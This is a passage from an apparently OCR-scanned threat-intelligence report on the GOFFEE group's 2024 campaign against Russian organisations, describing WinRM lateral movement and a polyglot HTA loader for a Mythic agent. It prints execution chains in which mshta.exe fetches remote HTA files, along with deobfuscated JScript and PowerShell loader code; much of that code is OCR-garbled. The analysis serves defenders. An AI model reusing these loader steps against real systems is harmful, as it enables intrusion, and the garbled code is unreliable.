(Microsoft Windows Remote Management) service, located on a remote host on the local network, via the
loaded Mythic agent. A specific User-Agent header value, “Ruby WinRM Client”, is used to access the
WinRM service.

POST /wsman HTTF/1l.1

Use:—hgent:lﬁuby WinBM :llencl

Contenc-Type: multipart/encrypted;protocol="application/HITP-SPHEGO-session—encrypted”;boundary="Encrypted Boundary"
RAccepr: /¢

Date: Tue, i Dec 2024 D c4T

Content-Length: 1751

Host: 192.168.1.2:5985

==Encrypted Boundary

Content=-Type: application/HITPF-SPHEGO-session-encrypted
CriginalContent: type=application/socap+xml;charset=UIF-8;Length=149¢
--Encrypted Boundary

Content=-Type: application/octet-stream

HTTP header for WinRM request

The WIinRM service is actively utilized by GOFFEE for network distribution purposes. Typically, this involves
launching the mshta.exe utility on the remote host with a URL as an argument. The following examples
illustrate the execution chains observed on remote hosts:
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1 wmiprvse.exe -secured -Embedding

2 ->cmd.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

1 wsmprovhost.exe

2 ->mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

1 wmiprvse.exe -secured -Embedding

2 ->cmd.exe /Q /c powershell.exe mshta.exe
https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

1 wmiprvse.exe -secured -Embedding

2 ->powershell.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

Recently, we have observed that GOFFEE is increasingly abandoning the use of PowerTaskel in favor of the
binary Mythic agent during lateral movement.

Mythic agent HTA

MD5 615BD8D70D234F16FC791DCE2FC5BCF0

SHA1 EF14D5B97E093AABE82C4A1720789A7CF1045F6D

SHA256 AFC7302D0BDS55CFC603FDAF58F5483B0CC00D354274F379C75CFA17F6BAGF97D

File type  Polyglot (HTML Application)

File size = 165.32 KB

File name duplicate.hta

The mshta.exe utility is still employed to launch the binary Mythic agent, with a URL passed as an argument.
However, the payload contents for the passed URL differ from the traditional HTA format. It is relatively large,
approximately 180 kilobytes, and is characterized as a polyglot file, which is a type of file that can be validly
interpreted in multiple formats. The shellcode containing the Mythic agent is located at the beginning of the
file and occupies approximately 80% of its size. It is followed by two Base64-encoded PowerShell scripts,
separated by a regular line break, and finally, the HTA file itself.
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exHHIS g exKsi® KISU2 WOSHe KN578 MWOSPe HyEsWLipk-H
A5 17 Hrmsr? Hags 7 Haos ? ﬁI]SEE Hic.Y3eX<=HAO5(? HAOSC? HAOQSD? HA
asne HmlsuE Hth.H'?sSPHmES'? HN587 HHOSG? HAS07 HAOSPE  HaaM4 UL
HOSH?  HADS H'P HAOSP? HAOSP? HHASRE H3dF LuJdG-HHMOSX? HANSX? HHAOS 7 HA

Vet e e, RS et

1" n - ~ 1" H 1 I i
Hqﬁﬁg“h}_'"msx" Alsop H1 UG Ast ARk ARG THARSAL Hﬂﬂs”g‘ﬁ shellcode of Mythic agent
Y e A HARen | AMIEER ﬁnuspﬁ HRASEF Ha o SN TORUESHY HATS ~ 140.000 bytes

ho MASan HANSarn” WHOSKE Haflun1ewGHAiSw: HARZw: WARSS: HNfsS:” WANSTE
HHOSLE HAOS3Y HAOSq" Hafa <EG WAL L A0S i HAGSTY pagsin
HASPS  HNLG* butHALSiin M B HAGSZH HAOSEN WAGSUS HyaFgMLYE>HADSR!
HASp" HADSw! HADSW! HAO529 HAP|[¢1y5 AHADEEY HANSE! HAOS©oN  HARSO!
HASw)  HaMowbydGoHALS @ WALS 9 WRLSEH WALSGN WALS.  HaSonse!<HALS-A
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HH
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#iflspi fraflgni HAfgp — HLM0fxoflSAi exe 3'ELtBualHASM?  ewo frallsai HAA
gp_ HT'eso fuofl5Pi froflsPi slfiSai faoflsfi HAGSp  HIL@Fmoflon em 3L
Io2tBualHASp? edo fiaflsUi  HAQSp HI"—Pe!_h_J_ fmﬂ$ L1 faomu$ i ﬂ?

ws ~ KDShHDS LALs™ 12n1')$S:H'r|1')$'Pn'P'mhL'$15ub- Pu{DKL$hLJ‘ID$ HATSRHALEPuF 4 Pw_DKL

$hLﬂD$ HAT$XHALS Puld i, DEDShHATS *HALSXuf i PuEDKDS
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GA-delh-selll  A-xwdle  GvuFE H3GIAHz | #HDS eBH3pH|IHE ~ HueH LHT® usHe-I
MHx  w iH3nHIII-ﬁH HyenTmH;Hro uxHe - mgﬁmm ||m161r THuwi  IT- t+I/HT-
£ N7KEA - B TeaMASTT HEHT Houb 4 mro SRHIpH 3
o upHw - T 1Hx 311H|||+ RyeHT -E sAD ﬂ

THuy1 A- tJHnH M Jlunt HI- uéHﬂlu [A ]}IFk~|||huk FY,
HNSEMIELHTS tL+ UMeBUe Lk M;Us_fA Ln\$ T— {EJABuA
HHHQgBkHEUHQngHDmHIHHkﬂEkHTgB1HHEHRHBLREgﬂcﬂﬂ?ﬂﬁoﬂﬂgﬂkHHkHeQBDHFUHnggHDmH
IABHAGUAdAALAEKAJABIAGOA I AAKAGEACWECAGQARGBDACAAOWAKACQARYB2AGUAbYES AEKAdYB
RACAAPQAgACRA=QBSAEMAU QB2ACAATABTAGAAZWEDACYAOUAKAN 0 A a0BnACAAKABBAEKA byBOAR
AAABYAFDAOgAGAFMAAQB6AGUAT ARLAGUACOAgADGAKQAKAHSACGAGACARTARGACOAU wE4AECAY
gBUAEEAe gAgADOATAN2ADIA OwAKAHBAZOBs AHMAZGB?AA0A IAAGACAA T ARKAFCAeABHAFY AUyER
AHoATAR?ACAAMWAYADSACYBYADsACTAKAGKAZAgACYAJABRAH A RWBUAFYAQGB6ACAALOBIAHE
ATAAZADQAKQAKAHSACYAGACAATAAGACOATAB4AH0 AZABSACAAPOAgACRAYABHAFQAZQBhACAASQ Three Baseb4 encoded
BuAHYAbwBrAGUAKABLAEKA by BOAFAAdABYAFDA OgA6AFoAZGBYAGE ALAAACAARYB2A GuAhuB5A .
EkAdwBRACAAKWAGADEALAAgADAAEAAZADAAMARWACuA T AAUAHgANAAYACKAOLAKACAA TARGACAR PowerShell scripts

~12.000 bytes

HCHHJﬁBEﬁEEhQDB4HEQﬁcgﬂgﬁDmﬁIﬁﬂbﬁﬂﬂﬁdwntnEsﬁ?nghCUﬁ?wBﬂﬁCﬁﬁSQBuHHQHUﬁBmﬁHI
AOWAKACAAIAAgACAAJABhAHoAYABBAEEAbgAgADOA T ABOAGUAdwALtAESAY gBgAGUAYwBODACAAUW
B5AHMAdAB1AGOALyBSAHUAbgBOAGKADQBIACAAS QBuAHQAZABYAGEACcABTAGUACgB2AGKAY wB1A
HMALgBIAGEAhgBkAGWAZGBEAGUAZgAoACQARABHAEEA:ABEAHIALAAgACOA:QBaAGwASwBOACKA
OuAKAACATAAGACAATABXAHIAaQEOAGUALGQBPAHUAAABwAHUAdARGACAAUgBrAEKAZgBNAFUASwB
MAC4ASQBuAHY AbwBrAGUAKAAKAGAAdQB=AGWALAAGAEAAKABLAFHA. QBzAHQAZQBLAC4AUBLAG
4AdABpAGOAZQAVAEKAbgBOAGUAC gBuvAHAAUWB1AH I AdgBpAGMAZGB=AC4ASABLAGAAZAB=AGUAL
gB1AGYARQAkAGEAegBY AEEAQQBuACuAIAAKAFANe ABnAFgAY gApACKA OwAKAHOARK htm 1 >EKHT A
SAPPLICATION icon="H#" WINDOWSTATE="minimize'" SHOWINTASKBAR="no' SYSMENU="no
" CAPTION="no" > <hody h¥n=PURH>[E {script>EE functio
n _x?33f (_OxfdBcdl, _0x5211FFf »{var _0x113fd6=_0x113f (>ireturn _0x733f=funct
ion{_0x733F38, _0x15855a){_0x?3If3I8=_0x?3I3f3IB-0x166;var _Ox2aPace=_0x113fd6L
_0x733f38 15 return _(x2a%ace;> . Ox733f (_0xfdBcdd,. 0x5211Fff>;3var _Ox46f459=_

59(mx25d) HxCakyZ+— mx45f459(mx27m) HxCakyZ+— mx4sf459(mx233) waakyZ+— mge HTA
* WxCakyZ+— Dxd6f 459 (0x226) . NxCakyZ+— 46 f 459 (Ox1e8 ) WxCaky Z+ *20%en’  WxCa
kyZ+— 0x46f 452 <0x250> , HxCakyZ+ *PROFILE’ ,WxCakyZ+=_| mx46f459(ﬂx191) HxCakyZ+
_Ox46£459 (0x249), HxCakyZ+— Dx46F459 {D>x1h2>, WxCakyZ+=_| Dx46F 459 (Dx1a3) , UxCak ~ 16.000 bvtes
yZ+=_ﬂx46f459(mx1f9),WxCakyZ+=_mx46f459(mx23h),WxCakyZ+=_mx46f459(mx22h).wx - Y
CakyZ+=_0x46f459<0x22d> , YxCakyZ+=_0x46f 452 (Dx1fdd WxCakyZ+=_Dx46£f452(Dxlal>
SMxCakyZ+='ek=2;In’ ,UxCakyZ+=_0x46f 459 (0x1e2)d UxCakyZ+=_0x46f 459 (Dx282 >, WxC
akyZ+="on \x5cx205’ UxCakyZ+=_0x46f 459 (0x280) WxCakyZ+="Uf j* .WxCakyZ+=_0x46f
459<¢0x1e?)  WxCakyZ+="Wq’ ,WxCakyZ+=_0x46f 459 (0x296)  UxCakyZ+=_0x46f 457 (Dxld
1), WxCakyZ+=_0x46F459 (0x21F > WxCakyZ+=" x5cx2’ WxCakyZ+=_Dx46F452 (Dx188)> Wk
GakyZ+=_Mx46f 457 (0x1c? ) WxGakyZ+=_0x46f 457 (0x2 74> UxCakyZ+="*x20RpaNB’ .WxCa
kyZ+=_0x46f 459 (0x27a) , UxCakyZ+=_0x46f 459 (0x291) UxCakyZ+=_0x46F459 (Dxlc3I> U
xCakyZ+=_0x46f459(0x215) . hcCakyZ+=_0x46f 459 (Dx1d0) WxCakyZ+=_0x46f457 (D237
2 UxCakyZ+=_0x46Ff452(0x224> . WxCakyZ+=_0x46f459<{0Dxlee ) WxCakyZ+=_0x46f 457 (Dx
252) MxCakyZ+=_0x46F459 (0x26f >  WxCakyZ+=_0x46£ 459 (Dx202 ), UxCakyZ+=_0x46f 459
COx222)  UxCakyZ+=_0x46f 459 (0x17c) . WxCakyZ+=' ;" .Rizxoy=R¥zxoyl*split’ 1¢' [*>L
_Ox46£459 (0x24a> 1¢_0x46f452{0xle6>> Rizxoy=Rizxoy[_Dx46f459<0x171>1¢" 1* >[* j
oin’ 1{_0x46f459<(0x26h> ), Rizxoy=Rizxoy[_Ox46£ 459 (0x171)> 1(* \x5c’ D [_0x46f452(0
x24a2 1(' ~xGexbe ' Jsvar sRQzHROc=_0x46f 452 C(0x1927>;TQSafnat [_0x46f45? (Ox1fc>]
C_Mx46£452{0x2715> =null&&{sRO=HEOc =_0x46f 459 (Ox1dad ) ; WxCakyZ+="\x20>\x20xU
SERFPROFILE:x \x5cesettings . js’' . TQSafnat [_Ox46f459C(0x245> 1’ ecmd.exe’ UxCakyZ,. ' "
»_Dx46£459<{0x175> .chhUMicar;var YHEKWoo=TQS8afnat [_0x46f457(0x1fc> 1(Dx28>[_0
»x46F459 (0x244> 1[_0x46£ 459 {0x21c>1;TQ8af nat [_Dx46F 459 (0x245> 1{_Dx46f 452 (Dx1d
32, YEEKWoo+_0x46F459 (0x21d>+sRQz=HE0c +' »x20’ +Rizxoy+’ \x20' +T1lat .’ ’ . _Dx46f45
2¢0x175 ., chhWMioa’,setTimeout {function{?{var _0x258hal={_Dx17aablD:0x1fa,_ 0x
472c2e:0x175% . _0x24F974:0x245,. _0x3bbade :0x175% . _0x2473f5=_0x46f452;;TQ8afnat [
_Ox2473f5(0x245> 1(_0x2473f5(_0x258ba3._0x17aald) .’ /c \x20prn~x20xUSERPROFI LEx
sxbosettings.js' . '’ . _Ox2473Ff5¢_0x258ha3 . _0x4?2c2e) . chhUHical TQ8afnat [_0x24
PIFS(_0x258hal. _0x24Ff974> 1 cmd.exe’ ., _0x2473£5(0x1afd .’ . _Dx2473F5(_0x258ha
3._x3hbader.chhUMioaY,.self [’ close’ 1{2;%, 0x27102> ;[ <s/script g < —
hody @ htnl>E

Polyglot payload

When the mshta.exe utility downloads the aforementioned payload, it interprets it as an HTA file and transfers
control to an obfuscated JScript embedded within the HTA section of the polyglot file. The script first
determines the argument used to launch the mshta.exe utility, whether it was a URL or a path to a local file. If
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a URL was used as the argument, the script searches for the original HTA file in the InetCache folder, where
the system cached the HTA file during download. To do this, the script iterates through all files in the cache
folder and checks their contents for the presence of a specific magic string.

var ShellADDLLCATLON = Dew ACTIVeXODIect("Shell.Appl L ¥.
FilaSysten = new ACTiveXODIect (' Script Fllesystemlt 1 H
1r [locatiom['hrer] ["subst *IA0KD, OXT) == *file://" && loCATiON[" £"1["subsce *110x0, OXB} Ym= ' ¥
var HTA Path = location['href']['replace’]({"rile:", "")["replace"'] (\//d. "
i
alsa |
if (FileSyscem['F E: t2"] {location[ "patk '1}) war HIA Pach = location['pach 1
else |
var UserProflle = ShellApplicatlon|’Famest '1(0x28) [*Self'] ["Fath'],
InetCache Path = UserProfils « AppDar L 1v\Hicr rey\Wingd IEMA",
Path_to_Search = [InecCache _Fathl.
EIA Fath = "":
while {Folders Iteracor['lengch'] > 0x0) [
var InetCache Path = Foldersa Iteracor['pop'](d.
FolderContent = FlleSystem["GecFol '] ({InetCache_Facth) ,
Files_Iterator = mew Enamerator{FolderContent["Iiles']):
Tor (; 'Files Iteravor['atind"]({}:; Filles Iterator[ moveliext']() I
var File = Flles Iterator[ iten']{),
ERgeri = "',
inputStrean = FlleSystem[’OpenT "]{File['Fath'], 0x1, '[], -On2):
whila (!'inpuctScream['RtEndO0fScrean']) {
FRgeri += inpucStream['F L ) B
1
inputStream]”Cl '11y, FRgerif’ K2 ] 0"bYn=FUKE") 'Y= =0x1 && (HTA_Fath = File["Fath']):
¥
var Folders_ITerator = Dew Enumerator {FolderContent(’ subfold 1) :
Tor (; !Folders Iterator['atEnd"]{): Folders_Iterator[’ fext 100} 1
Foldera_Iteracor['pu '] (Folders Iterator[it "1{) ["Fach']):
1}
]
HTA Fath['length'] == 0x0 &k self["close’']():
1
¥
ir (HTA Pachl'length'] » Ox0) {
var Argumencs_String = e $g75zya = $INbQDEHp:$onIlOVE = Get ntent SgISzya:ivDHrML = [SonIlOwE Selenr-5t g -Fatte . ETA: AFFLICAT TON™
ShellApplication['ShellExecuce'] ("cmd.exe’, Arguments Strimg, '', 'open', 0):
var Argueents String = £
Arguments Scring += _0x373481= Ox3LL7: {function(_0x5ébScd, 0x31%db _MlagnTe={_ ! | | ! N
var FowerShell Path = "D . =
1r (ShellApplication[ MameSpace'](” Windg VANATIVE \Wind FowerShell\ivwl.0') 1= mall}
FowerShell Fath = Window yanatlve wWind FowWers ¥ D05
ArQUEEOTE STEing += ¥USERFROFILEY eTTings.3s8', ShellApplication[’ShellExecune']("cmd.exe”, Arguments_sString, '', 'open”, 0):
var UserFrofile = ShellApplication['HameSpace'] (0x28) ["Self"J["Fach']:
ShellApplication(['ShellExecute'] ('cacript.exe', UserFrofile + ' ettinga.js " + PowerShell Path + ' ' + HIA Path + ' ' + "Shell.Appl tion®, s "open', 0},
setTimecut (functien() |
ShellApplicationl"ShellExecute'] ("cmd.exe’, '/c ttings.j8', "', "open', 0},
ShellApplicationl’ShellExecute’] ("cmd.exe’, '/c ¥USERFROFILEW trings.pal', ', ‘open®, O
selff'cloae"]():
b, 0x2710):
}

Deobfuscated JScript from the HTA section of the payload

If an HTA file is found on the disk, the script drops two files, “settings.js” and “settings.ps1”, using the “echo”

command, and then runs settings.js with additional command-line arguments. The script then sets a timer for

10 seconds, after which the dropped files will be deleted.

var Args = WScript['Arguments'],
PowerShell Path = Regs(0x0),
HIA Path = Arga(0xl) ,
Shellhpplication = Rrgs (0xZ):

Vipowershell .&xe”

£o4\Windows\\ INetCache\\IE\\duplicace " [1" "] .hta"

HIA Path = HTIA Path'splic ' J{"("}['J1oin'](" )}, EIA Path = HIA PFath['splict ](']"¥(['Jozn"']{ 1"y, HIA Path = HIA Path('splic')({* \"}['J0in']( ")
var PowerShell Args = 'SINMbqDEHp = \\"' + HTA Path + '
PowerShell Args += 'f0dfUfjp = get-content Senv:USERFROFILE settings.pal; fKRIWEgek=1; Invoke-Expression S0dfUL)p: SEWIWNgek=2; Invoke=Expreasion S04fULr

mew ActtiveXObject (Shellhpplication) ['ShellExecuts'] (PowerShell Path, ' "' + PowerS

Deobfuscated “settings.js”

The running settings.js script accepts three command-line arguments: the path to powershell.exe, the path to
the HTA file, and the string “Shell.Application”. These received arguments are used to populate a PowerShell

script, the contents of which are then passed to the powershell.exe command line.
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1 powershell.exe -c "$INbgDKHp = \"C:\\\Users\\\\
[username]\WAppData\\\Local\\\\Microsoft\\Windows\\\INetCache\\W\IE\\\duplicate ™ "[1""""].hta\";$OdfUfjp
= get-content $env:USERPROFILE\\settings.ps1;$KWfWXqgek=1;Invoke-Expression
$0dfUfjp; SKWFWXgek=2;Invoke-Expression $OdfUfjp; SKWfWXqek=3;Invoke-Expression $OdfUfjp;"

The script passed to the PowerShell interpreter declares two variables: “$INbgDKHp”, which stores the path
to the HTA file, and “SKWfWXqek”, a counter. The script then reads the contents of “settings.ps1” and
executes it three times, passing the path to the HTA file and the counter as arguments, and incrementing the
value of the “SKWfWXqek” variable by 1 each time.

$gJ5zya = SINbQDERp: 4 5INbgDEHp = “C:\\Users\\ [ussrnams]‘\AppData\‘lLocal\‘\Microsofti\\Windows\\INecCache\\IE\\duplicate [1 ].hza"
$onIlOVF = G=t - Content $gdsSzya:
$vDHrMf = ($onIlOwF * | Select - String - Patvern "<HTA:APPLICATION”) .LineNumber([0] - 1:

if (SvDHrMf - ne $null) |
$0kWiw = SvDHCME - SEWWigek:
if ($0EwWiw - gt 0) |
Se0lciE = $onIlOvF[$0kwWiw - 1]:
SmibvDgTW = [System.Text.Encoding] @ :Unicede.GetString ([System.Convert] : :FromBased4String ($e0lciE)) :
Inwvoke - Expression SmibwDgTw:

Deobfuscated “settings.ps1”

During each execution, the “settings.ps1” script reads the contents of the HTA file, splits it into lines, and
identifies Base64-encoded scripts. To detect these scripts, it first locates the line containing the HTA
application tag by searching for the substring “<HTA:APPLICATION". The three lines preceding this tag
contain Base64-encoded scripts. Depending on the value of the “SKWfWXqek” counter, the script executes
the corresponding Base64-encoded script.

The first two scripts are used to declare auxiliary functions, including compiling a helper DLL, which is
necessary for executing the shellcode. The third script is responsible for allocating memory, loading the
shellcode from the HTA file (whose path is retrieved from the previously defined “$INbqDKHp” variable), and
transferring control to the loaded shellcode, which is the self-configuring code of the Mythic agent.

Victims

According to our telemetry, the identified targets of the malicious activities described in this article are located
in Russia, with observed activity spanning from July 2024 to December 2024. The targeted industries are
diverse, encompassing organizations in the mass media and telecommunications sectors, construction,
government entities, and energy companies.

Attribution

In this campaign, the attacker utilized PowerTaskel, which had previously been linked to the GOFFEE group.
Additionally, HTA files and various scripts were employed in the infection chain.

The malicious executable attached to the spear phishing email is a patched version of explorer.exe, similar to
what we observed in GOFFEE’s attacks earlier in 2024, and contains shellcode that is very similar to the one
previously used by GOFFEE.

Considering the same victimology, we can attribute this campaign to GOFFEE with a high degree of
confidence.

Conclusions

Despite using similar tools and techniques, GOFFEE introduced several notable changes in this campaign.
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For the first time, they employed Word documents with malicious VBA scripts for initial infection. Additionally,
GOFFEE utilized a new PowerShell script downloader, PowerModul, to download PowerTaskel,
FlashFileGrabber, and USB Worm. They also began using the binary Mythic agent, and likely developed their
own implementations in PowerShell and C.

While GOFFEE continues to refine their existing tools and introduce new ones, these changes are not
significant enough to suggest that they can be confused with another actor.
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